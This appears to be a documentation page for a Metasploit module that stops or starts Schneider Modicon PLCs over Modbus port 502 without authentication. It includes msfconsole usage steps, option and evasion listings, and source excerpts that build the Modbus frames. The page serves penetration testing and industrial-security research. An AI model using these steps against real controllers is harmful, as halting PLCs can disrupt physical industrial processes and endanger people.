Schneider Modicon Remote START/STOP Command - Metasploit
This page contains detailed information about how to use the auxiliary/admin/scada/modicon_command metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Schneider Modicon Remote START/STOP Command
Module: auxiliary/admin/scada/modicon_command
Source code: modules/auxiliary/admin/scada/modicon_command.rb
Disclosure date: 2012-04-05
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 502
List of CVEs: -
The Schneider Modicon with Unity series of PLCs use Modbus function code 90 (0x5a) to perform administrative commands without authentication. This module allows a remote user to change the state of the PLC between STOP and RUN, allowing an attacker to end process control by the PLC. This module is based on the original 'modiconstop.rb' Basecamp module from DigitalBond.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/scada/modicon_command
msf auxiliary(modicon_command) > show targets
... a list of targets ...
msf auxiliary(modicon_command) > set TARGET target-id
msf auxiliary(modicon_command) > show options
... show and set options ...
msf auxiliary(modicon_command) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the admin/scada/modicon_command auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/scada/modicon_command
msf6 auxiliary(admin/scada/modicon_command) > show info
Name: Schneider Modicon Remote START/STOP Command
Module: auxiliary/admin/scada/modicon_command
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2012-04-05
Provided by:
K. Reid Wightman <[email protected]>
todb <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
MODE STOP yes PLC command (Accepted: STOP, RUN)
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 502 yes The target port (TCP)
Description:
The Schneider Modicon with Unity series of PLCs use Modbus function
code 90 (0x5a) to perform administrative commands without
authentication. This module allows a remote user to change the state
of the PLC between STOP and RUN, allowing an attacker to end process
control by the PLC. This module is based on the original
'modiconstop.rb' Basecamp module from DigitalBond.
References:
http://www.digitalbond.com/tools/basecamp/metasploit-modules/
Module Options
This is a complete list of options available in the admin/scada/modicon_command auxiliary module:
msf6 auxiliary(admin/scada/modicon_command) > show options
Module options (auxiliary/admin/scada/modicon_command):
Name Current Setting Required Description
---- --------------- -------- -----------
MODE STOP yes PLC command (Accepted: STOP, RUN)
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 502 yes The target port (TCP)
Advanced Options
Here is a complete list of advanced options supported by the admin/scada/modicon_command auxiliary module:
msf6 auxiliary(admin/scada/modicon_command) > show advanced
Module advanced options (auxiliary/admin/scada/modicon_command):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/scada/modicon_command module can do:
msf6 auxiliary(admin/scada/modicon_command) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/scada/modicon_command auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/scada/modicon_command) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
packet too large, sorry
Here is a relevant code snippet related to the "packet too large, sorry" error message:
46:
47: # this is used for building a Modbus frame
48: # just prepends the payload with a modbus header
49: def makeframe(packetdata)
50: if packetdata.size > 255
51: print_error("packet too large, sorry")
52: print_error("Offending packet: " + packetdata)
53: return
54: end
55: payload = ""
56: payload += [@modbuscounter].pack("n")
Offending packet
Here is a relevant code snippet related to the "Offending packet" error message:
47: # this is used for building a Modbus frame
48: # just prepends the payload with a modbus header
49: def makeframe(packetdata)
50: if packetdata.size > 255
51: print_error("packet too large, sorry")
52: print_error("Offending packet: " + packetdata)
53: return
54: end
55: payload = ""
56: payload += [@modbuscounter].pack("n")
57: payload += "\x00\x00\x00" #dunno what these are
Invalid MODE
Here is a relevant code snippet related to the "Invalid MODE" error message:
169: case datastore['MODE']
170: when "STOP"
171: stop
172: when "RUN"
173: start
174: else
175: print_error("Invalid MODE")
176: return
177: end
178: end
179: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2525 Merged Pull Request: Change module boilerplate
- #1228 Merged Pull Request: MSFTIDY cleanup #1 - auxiliary
- #452 Merged Pull Request: Whitespace cleanup
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/scada/modicon_password_recovery
- auxiliary/admin/scada/modicon_stux_transfer
- auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli
- auxiliary/admin/scada/ge_proficy_substitute_traversal
- auxiliary/admin/scada/moxa_credentials_recovery
- auxiliary/admin/scada/multi_cip_command
- auxiliary/admin/scada/pcom_command
- auxiliary/admin/scada/phoenix_command
- auxiliary/admin/scada/yokogawa_bkbcopyd_client
- auxiliary/admin/smb/ms17_010_command
- auxiliary/admin/smb/webexec_command
- auxiliary/scanner/http/jenkins_command
- auxiliary/dos/scada/allen_bradley_pccc
- auxiliary/dos/scada/beckhoff_twincat
- auxiliary/dos/scada/d20_tftp_overflow
- auxiliary/dos/scada/igss9_dataserver
- auxiliary/dos/scada/siemens_siprotec4
- auxiliary/dos/scada/yokogawa_logsvr
- auxiliary/scanner/scada/bacnet_l3
- auxiliary/scanner/scada/digi_addp_reboot
- auxiliary/scanner/scada/digi_addp_version
- auxiliary/scanner/scada/digi_realport_serialport_scan
- auxiliary/scanner/scada/digi_realport_version
- auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess
- auxiliary/scanner/scada/koyo_login
- auxiliary/scanner/scada/modbus_banner_grabbing
- auxiliary/scanner/scada/modbusclient
- auxiliary/scanner/scada/modbusdetect
- auxiliary/scanner/scada/modbus_findunitid
- auxiliary/scanner/scada/moxa_discover
- auxiliary/scanner/scada/pcomclient
- auxiliary/scanner/scada/profinet_siemens
- auxiliary/scanner/scada/sielco_winlog_fileaccess
Authors
- K. Reid Wightman <wightman[at]digitalbond.com>
- todb
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.